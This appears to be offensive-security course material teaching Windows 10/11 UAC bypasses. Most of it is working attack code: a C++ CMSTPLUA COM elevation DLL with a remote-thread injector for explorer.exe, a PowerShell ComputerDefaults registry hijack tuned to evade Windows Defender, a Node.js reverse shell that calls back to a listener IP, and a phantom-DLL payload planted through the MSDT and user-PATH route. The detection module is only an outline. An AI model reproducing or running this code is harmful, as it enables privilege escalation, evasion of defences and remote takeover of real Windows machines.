UAC
g3tsyst3m // course material

Creative UAC Bypass
Methods for the Modern Era

Practitioner-tested UAC bypass techniques for Windows 10 and Windows 11 — from COM object hijacking and registry manipulation to DLL sideloading and phantom DLL injection. All techniques verified against Windows Defender.

Windows 10 / 11 Intermediate C++ / PowerShell COM Internals Defender Tested
Bypass #1 — CMSTPLUA COM (DLL Injection)
Bypass #2 — ComputerDefaults Registry
Bypass #3 — MSDT DLL Hijack
Bypass #4 — SilentCleanup DLL Sideload (deprecated >22H2)
Bypass #5 — Mock Trusted Directory (deprecated >22H2)
Bonus — CMSTPLUA + PEB Masquerade (25H2, Subscribers)
00
Module Zero

UAC Internals — What We're Actually Bypassing

// Know the mechanism before you exploit the gaps

Learning Objectives

  • Understand what UAC does and — critically — what it doesn't protect against
  • Explain auto-elevation, the COM elevation moniker, and why trusted processes matter
  • Know which UAC setting levels each bypass technique requires
  • Understand why all techniques in this course require the user to already be a local admin

What UAC Actually Is

User Account Control is a consent and friction mechanism, not a security boundary. Microsoft's own documentation acknowledges it cannot stop a determined local attacker with code execution. Its purpose is twofold: prevent accidental privilege use by administrators running at medium integrity, and make privilege escalation visible so users can make an informed decision.

Every technique in this course requires the attacker to already be a local administrator running at medium integrity — UAC is the only barrier between them and a high-integrity shell. These are not techniques for gaining initial access.

Auto-Elevation — The Core Attack Surface

Windows maintains a list of trusted, Microsoft-signed binaries that are allowed to elevate without prompting the user. These are marked with autoElevate: true in their application manifests and must reside in a trusted directory (C:\Windows\System32, Program Files, etc.). The Application Information service (appinfo.dll) enforces these checks.

Every bypass in this course targets what happens after an auto-elevating process or COM object is granted elevation — specifically, what DLLs it loads, what registry keys it reads, and what child processes it spawns. The auto-elevation itself is legitimate. The abuse is in the context the elevated process provides to the attacker.

UAC Setting Levels and Bypass Applicability

Windows UAC has four settings. All techniques in this course target the default setting (second from top) and below. The "Always Notify" setting (maximum) eliminates auto-elevation entirely and breaks all these techniques.


01
Module One // Bypass #1

CMSTPLUA COM Interface — UAC Bypass via DLL Injection into explorer.exe

// 8+ year old technique. Still works. Still undetected.
● Undetected — Windows Defender & Sophos XDR

Learning Objectives

  • Understand the CMSTPLUA COM object and why its ICMLuaUtil interface enables elevation
  • Define a COM virtual function table (vftable) stub correctly in C++ to reach ShellExec
  • Use CoGetObject() with the elevation moniker to request an elevated COM instance
  • Inject the COM activation DLL into explorer.exe to satisfy the trusted context requirement
  • Build both the payload DLL and the injector executable in Visual Studio

CMSTPLUA — The COM Object

CMSTPLUA is an auto-elevated COM class object identified by CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}. It lives in the registry at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList with a value of 1, meaning Windows will grant it elevation without a UAC prompt.

The COM class exposes an interface called ICMLuaUtil (IID: {6EDD6D74-C007-4E75-B76A-E5740995E24C}), implemented in C:\Windows\System32\cmlua.dll. This interface contains a ShellExec method that executes a file of our choosing — at high integrity — once we have a valid interface pointer.

The technique: inject a DLL into explorer.exe, call CoGetObject() with the elevation moniker to get an elevated ICMLuaUtil*, then call ICMLuaUtil::ShellExec() to launch our payload as Administrator.

Part 1 — The Payload DLL

The DLL that gets injected into explorer.exe contains the COM activation logic. Two critical pieces before writing any code: the CLSID/IID constants, and the virtual function table stub.

The vftable stub matters because ICMLuaUtil inherits from IUnknown (which provides QueryInterface, AddRef, Release — handled automatically). The remaining methods must be declared in order from the interface definition. ShellExec is the 7th method. You cannot skip to it — all preceding stubs must be present as pure virtual placeholders.

C++ injected_dll.cpp — CLSID/IID constants + ICMLuaUtil vftable stub
// injected_dll.cpp — compiled as a DLL, injected into explorer.exe // Visual Studio: new DLL project, x64 Release #include "pch.h" #include <shlobj.h> #include <atlbase.h> #include <shellapi.h> #pragma comment(lib, "shell32.lib") // CLSID of the CMSTPLUA COM object (auto-elevated, on UAC approval list) const wchar_t* CLSID_CMSTPLUA = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"; // IID of the ICMLuaUtil interface exposed by CMSTPLUA const wchar_t* IID_ICMLuaUtil = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"; // Virtual function table stub for ICMLuaUtil // Inherits from IUnknown — AddRef/Release/QueryInterface are implicit // Methods MUST be declared in order. ShellExec is method #7. // Stubs 1-6 are placeholders — we need them to get the vtable index right. struct ICMLuaUtil : public IUnknown { virtual HRESULT STDMETHODCALLTYPE Method1() = 0; // SetRasCredentials virtual HRESULT STDMETHODCALLTYPE Method2() = 0; // SetRasEntryProperties virtual HRESULT STDMETHODCALLTYPE Method3() = 0; // DeleteRasEntry virtual HRESULT STDMETHODCALLTYPE Method4() = 0; // LaunchInfSection virtual HRESULT STDMETHODCALLTYPE Method5() = 0; // LaunchInfSectionEx virtual HRESULT STDMETHODCALLTYPE Method6() = 0; // CreateLayerDirectory virtual HRESULT STDMETHODCALLTYPE ShellExec( LPCWSTR lpFile, // path to executable LPCWSTR lpParameters, // command line args (nullptr for none) LPCWSTR lpDirectory, // working directory (nullptr for default) ULONG fMask, // SEE_MASK_DEFAULT = 0 ULONG nShow) = 0; // SW_SHOW = 5 };

Part 2 — CoGetObject with the Elevation Moniker

With the interface defined, the injector() function builds the elevation moniker string, converts the CLSID and IID strings to GUIDs, configures binding options specifying a local server COM context, and calls CoGetObject(). If the call succeeds and we're running from inside explorer.exe, we get back an elevated ICMLuaUtil* pointer ready to call ShellExec.

C++ injector() — elevation moniker + CoGetObject + ShellExec call
int injector() { HRESULT hr, coi; CComPtr<ICMLuaUtil> spLuaUtil; // Build the elevation moniker: // "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" // This tells COM: create an ELEVATED instance of CMSTPLUA WCHAR moniker[MAX_PATH] = L"Elevation:Administrator!new:"; wcscat_s(moniker, CLSID_CMSTPLUA); CLSID clsid; IID iid; coi = CoInitialize(NULL); // Convert string GUIDs to binary GUID structs if (FAILED(CLSIDFromString(CLSID_CMSTPLUA, &clsid)) || FAILED(IIDFromString(IID_ICMLuaUtil, &iid))) { CoUninitialize(); return -1; } // BIND_OPTS3: specify CLSCTX_LOCAL_SERVER — required for COM elevation BIND_OPTS3 opts; ZeroMemory(&opts, sizeof(opts)); opts.cbStruct = sizeof(opts); opts.dwClassContext = CLSCTX_LOCAL_SERVER; // The key call — request elevated ICMLuaUtil interface via moniker // This ONLY works if we're running from a trusted context (explorer.exe) hr = CoGetObject(moniker, (BIND_OPTS*)&opts, iid, (void**)&spLuaUtil); if (SUCCEEDED(hr) && spLuaUtil) { // Call ShellExec on the ELEVATED COM interface — launches cmd.exe as Admin! spLuaUtil->ShellExec( L"C:\\Windows\\System32\\cmd.exe", nullptr, // no args nullptr, // default working dir SEE_MASK_DEFAULT, // 0 SW_SHOW); // 5 — show window } CoUninitialize(); return 0; }

Part 3 — DllMain Wrapper and the Injector EXE

The DLL's DllMain spawns a thread on DLL_PROCESS_ATTACH to call injector(). Spawning a thread rather than calling directly from DllMain avoids loader lock deadlocks. A separate injector EXE finds explorer.exe by process name, allocates memory in it, writes the DLL path, and launches a remote thread calling LoadLibraryW.

C++ DllMain + injector.exe — complete working code
// ── DllMain (in the payload DLL) ────────────────────────────────── DWORD WINAPI ThreadProc(LPVOID lpParameter) { HMODULE hModule = (HMODULE)lpParameter; injector(); FreeLibraryAndExitThread(hModule, 0); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) { switch (ul_reason) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); // Thread to avoid loader lock — NEVER call COM directly from DllMain CreateThread(nullptr, 0, ThreadProc, hModule, 0, nullptr); break; } return TRUE; } // ── injector.exe — finds explorer.exe and injects the DLL ───────── DWORD GetExplorerPID() { DWORD pid = 0; HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snap, &pe)) { do { if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) { pid = pe.th32ProcessID; break; } } while (Process32Next(snap, &pe)); } CloseHandle(snap); return pid; } int main() { DWORD pid = GetExplorerPID(); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Update this path to your compiled DLL location! const wchar_t* dllPath = L"C:\\Users\\public\\injected.dll"; size_t sz = (wcslen(dllPath) + 1) * sizeof(wchar_t); LPVOID remote = VirtualAllocEx(hProc, nullptr, sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProc, remote, dllPath, sz, nullptr); LPTHREAD_START_ROUTINE loadLib = (LPTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"); HANDLE hThread = CreateRemoteThread(hProc, nullptr, 0, loadLib, remote, 0, nullptr); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProc, remote, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProc); return 0; }
🔴 Does not work when UAC is set to "Always Notify." All other UAC levels are vulnerable. Full source on GitHub: github.com/g3tsyst3m/CodefromBlog under the 2024-10-16 folder.

02
Module Two // Bypass #2

ComputerDefaults.exe — Registry Hijack with Relative Path Evasion

// Classic technique. Still works. Defender hates absolute paths but loves ../../../
● Undetected — Windows Defender (as of 3/20/2025)

Learning Objectives

  • Understand the ms-settings handler registry hijack mechanism
  • Apply relative path notation to evade Windows Defender's path-based detection
  • Chain a Node.js LOLBin with a JS reverse shell for a clean payload delivery
  • Understand why DelegateExecute is required alongside the default value

How ComputerDefaults Registry Hijack Works

ComputerDefaults.exe is a Microsoft-signed auto-elevating binary in C:\Windows\System32. When executed, it attempts to open the ms-settings: URI handler. Windows resolves URI handlers via the registry — specifically at HKCU\software\classes\ms-settings\shell\open\command. Because this key is in HKCU (not HKLM), any standard user can write to it without elevation.

The technique: write our payload path to the (default) value of that registry key, set a DelegateExecute value to signal command execution, and then launch ComputerDefaults.exe. It auto-elevates, reads our registry key, and executes our payload as Administrator.

The Defender Evasion Problem — and the Elegant Solution

Windows Defender aggressively monitors the (default) registry value under the ms-settings handler. It flags specific patterns:

  • -Value "cmd" — flagged immediately
  • -Value "C:\Users\Public\payload.exe" — flagged (Public is a known payload location)
  • -Value "C:\Temp\payload.exe" — flagged (Temp is monitored)
  • -Value "../../myfolder/payload.exe" — clean!

The relative path resolves from C:\Windows\System32 (where ComputerDefaults.exe lives) — so ../../myfolder/ traverses up to the drive root, then into your custom folder. Defender doesn't flag it because it doesn't match known absolute payload paths. Think smarter, not harder.

PowerShell computerdefaults_bypass.ps1 — registry setup + trigger
# ComputerDefaults UAC bypass — g3tsyst3m # Place your payload at a path reachable via ../../ from C:\Windows\System32 # Example: ../../myfolder/barney.exe resolves to C:\myfolder\barney.exe # Step 1: Create the ms-settings handler key in HKCU (writable without elevation) New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force # Step 2: Set DelegateExecute — required signal for command execution mode # Without this value present, the handler won't fire as a command New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" ` -Name "DelegateExecute" -Value "" -Force # Step 3: Set the payload path — use relative path to evade Defender # ../../myfolder/barney.exe = C:\myfolder\barney.exe # Replace with your actual payload path (relative from C:\Windows\System32) Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" ` -Name "(default)" -Value "../../myfolder/barney.exe" -Force # Step 4: Trigger ComputerDefaults.exe — auto-elevates, reads our key, runs payload! Start-Process "C:\Windows\System32\ComputerDefaults.exe" # Optional cleanup — remove registry artifacts after payload executes # Start-Sleep 3 # Remove-Item "HKCU:\software\classes\ms-settings" -Recurse -Force

The Payload Chain — C++ Loader + Node.js LOLBin + JS Reverse Shell

The payload registered in the registry value (barney.exe) is a minimal C++ wrapper that launches Node.js with the reverse shell script. Node.js is a trusted LOLBin — a legitimate portable binary that Defender generally trusts — making it ideal for running the actual shell code.

C++ barney.cpp — minimal loader that chains to Node.js reverse shell
// barney.cpp — the payload registered in the registry value // Launches Node.js (renamed to n0de.exe) with the JS reverse shell // Node.js is a trusted LOLBin — evades Defender cleanly #include <windows.h> int main() { // n0de.exe = renamed portable Node.js binary (download from nodejs.org) // elevationstation.js = the reverse shell payload (below) // Both placed in C:\users\public\ for this example WinExec("c:\\users\\public\\n0de.exe c:\\users\\public\\elevationstation.js", 0); return 0; }
JavaScript elevationstation.js — Node.js reverse shell (runs as elevated SYSTEM context)
// elevationstation.js — Node.js reverse shell // Executed by n0de.exe (renamed portable Node.js binary) // Update the IP and port for your listener before use (function() { var net = require("net"), cp = require("child_process"), sh = cp.spawn("cmd.exe", []); var client = new net.Socket(); client.connect(4444, "192.168.0.134", function() { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
Node.js as a LOLBin: download the portable Node.js zip from nodejs.org, extract node.exe, rename it to something innocuous (n0de.exe, runtime.exe, etc.), and drop it alongside your JS payload. No install required. Defender generally trusts Node.js binaries.

03
Module Three // Bypass #3

MSDT BluetoothDiagnosticUtil — Phantom DLL Hijack via User PATH

// Credit: Emeric Nasi. Repurposed and tested for the modern era.
● Undetected — Windows Defender

Learning Objectives

  • Understand the MSDT diagnostic tool auto-elevation chain through the XML manifest
  • Identify BluetoothDiagnosticUtil.dll as a phantom DLL loaded by sdiagnhost.exe
  • Plant the payload DLL in a user-controlled PATH directory for interception
  • Compile a 32-bit (x86) payload DLL — why architecture matters here

The Technique — One Command

This entire bypass triggers with a single command:

Command msdt_trigger.cmd — the full trigger command
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes

How It Works — The Auto-Elevation Chain

msdt.exe (Microsoft Support Diagnostic Tool) is auto-elevated when launched with specific XML diagnostic packages. The BluetoothDiagnostic.xml package triggers this auto-elevation. After msdt.exe elevates, it spawns C:\WINDOWS\SysWOW64\sdiagnhost.exe to run the actual diagnostic.

Here's the critical detail: sdiagnhost.exe is a 32-bit process (SysWOW64 directory), and it attempts to load BluetoothDiagnosticUtil.dll. This DLL doesn't exist in System32 or SysWOW64 — making it a phantom DLL. Windows resolves it by walking the DLL search path, which includes directories listed in the user's %PATH% environment variable.

If we place our own BluetoothDiagnosticUtil.dll in any directory that appears in the user's PATH before the system directories, sdiagnhost.exe loads it — at high integrity, as part of the auto-elevated diagnostic chain.

The Payload DLL — Must Be x86/32-bit

Because sdiagnhost.exe is a 32-bit process running under SysWOW64, the payload DLL must be compiled as x86 (32-bit). An x64 DLL loaded into a 32-bit process will fail with ERROR_BAD_EXE_FORMAT. In Visual Studio, set the platform to x86 before building.

C++ BluetoothDiagnosticUtil.cpp — x86 DLL payload (compile as 32-bit!)
// BluetoothDiagnosticUtil.cpp // COMPILE AS x86 (32-bit) — sdiagnhost.exe is a 32-bit process // Visual Studio: Platform = x86, Configuration = Release // Output: BluetoothDiagnosticUtil.dll // Place in any directory that is in the USER %PATH% environment variable #include "pch.h" #include <iostream> #include <windows.h> void executor() { // Use STARTUPINFO to ensure the cmd window is visible STARTUPINFO si = { sizeof(STARTUPINFO) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; PROCESS_INFORMATION pi; if (CreateProcess( L"C:\\Windows\\System32\\cmd.exe", NULL, // no additional args NULL, NULL, // default security attrs FALSE, // don't inherit handles CREATE_NEW_CONSOLE,// new console window for the shell NULL, NULL, // default env + working dir &si, &pi)) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) { switch (ul_reason) { case DLL_PROCESS_ATTACH: // Fire immediately on DLL load — sdiagnhost.exe is already elevated! executor(); break; } return TRUE; }

Deployment — Adding Your Folder to User PATH

The DLL must be in a directory listed in the user's %PATH% environment variable. Add a folder to the user PATH (not system PATH — no elevation needed) and place the DLL there:

PowerShell Add folder to user PATH and deploy the DLL
# Create your payload folder (anywhere user-writable) New-Item -ItemType Directory -Path "C:\myfolder" -Force # Add it to the USER PATH environment variable (no elevation needed) $current = [Environment]::GetEnvironmentVariable("PATH", "User") [Environment]::SetEnvironmentVariable("PATH", "C:\myfolder;$current", "User") # Copy your compiled 32-bit DLL to the folder # (compile BluetoothDiagnosticUtil.cpp as x86 Release first) Copy-Item ".\BluetoothDiagnosticUtil.dll" "C:\myfolder\" # Trigger the bypass Start-Process "c:\windows\syswow64\msdt.exe" ` -ArgumentList "-path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes"
Credit to Emeric Nasi for the original discovery. Full writeup at blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass. The course adaptation focuses on modern Windows compatibility and Defender evasion testing.

04
Module Four // Bypass #4 — Archived

SilentCleanup Scheduled Task — DLL Sideloading via dismhost.exe

// Documented for methodology. Deprecated on Windows 11 >22H2.
⚠ Deprecated — Windows 11 >22H2 (patched early 2025)
Archived Technique. This bypass no longer works on Windows 11 builds newer than 22H2 as of early 2025. It is preserved here for methodology value — the ProcMon-based DLL sideloading discovery process is directly applicable to finding new targets. It may still work on Windows 10 and older Windows 11 builds.

Learning Objectives

  • Understand how the SilentCleanup scheduled task bypasses UAC via auto-elevation
  • Use ProcMon to identify a phantom DLL loaded by dismhost.exe
  • Understand the DLL sideloading technique and how to prevent DLL crashes via export proxying
  • Apply the methodology to discover new DLL sideloading targets

The SilentCleanup Technique

The SilentCleanup scheduled task runs cleanmgr.exe which spawns dismhost.exe — both auto-elevated as part of the disk cleanup operation. When dismhost.exe runs, it attempts to load api-ms-win-core-kernel32-legacy-l1.dll. This DLL doesn't exist in the standard search path — it's a phantom DLL. By placing our payload DLL with that name in %TEMP% (which is in the DLL search path), dismhost.exe loads it at high integrity.

Trigger the scheduled task with: Start-ScheduledTask -TaskName SilentCleanup — no elevation required to start it.


05
Module Five // Bypass #5 — Archived

Mock Trusted Directory — Fooling Auto-Elevation Path Verification

// Elegant path spoofing. Patched on Windows 11 >22H2.
⚠ Deprecated — Windows 11 >22H2 (patched early 2025)
Archived Technique. Deprecated on Windows 11 >22H2 as of early 2025. Preserved for conceptual understanding of how appinfo.dll's path verification worked and how the spoofing attack exploited it.

Learning Objectives

  • Understand how appinfo.dll verifies a binary's path before granting auto-elevation
  • Explain the mock trusted directory technique — creating a folder that passes path verification
  • Understand why the trailing space trick defeated the original path check
  • Recognize why this was patched and what the fix looked like

The Concept — Path Verification Spoofing

Auto-elevation requires the binary to reside in a trusted directory. appinfo.dll checks whether the binary's path starts with a trusted prefix (e.g., C:\Windows\System32\). The mock trusted directory technique exploited a quirk in how this path check was performed: a folder named C:\Windows \System32\ (with a trailing space after "Windows") passed the string prefix check because the comparison didn't normalize the path first.

By creating C:\Windows \System32\, copying an auto-elevating binary (like wusa.exe) there, and placing a malicious DLL alongside it, an attacker could trigger auto-elevation from an untrusted directory.


06
Module Six

Detection, Defense & the Defender's Perspective

// Every technique leaves traces. Know what they are.

Learning Objectives

  • Map each bypass technique to its specific event log and Sysmon signatures
  • Understand why the CMSTPLUA technique is harder to detect than registry-based bypasses
  • Write detection logic targeting the common behavioral patterns across all techniques
  • Apply the single most effective mitigation: UAC set to Always Notify

Detection by Technique

Course Complete. You now understand the full UAC bypass landscape for Windows 10/11 — from COM object exploitation and registry hijacking to phantom DLL interception. Two techniques remain fully operational and Defender-bypassing as of the course writing date. Two are archived for methodology. Full source code at github.com/g3tsyst3m/CodefromBlog.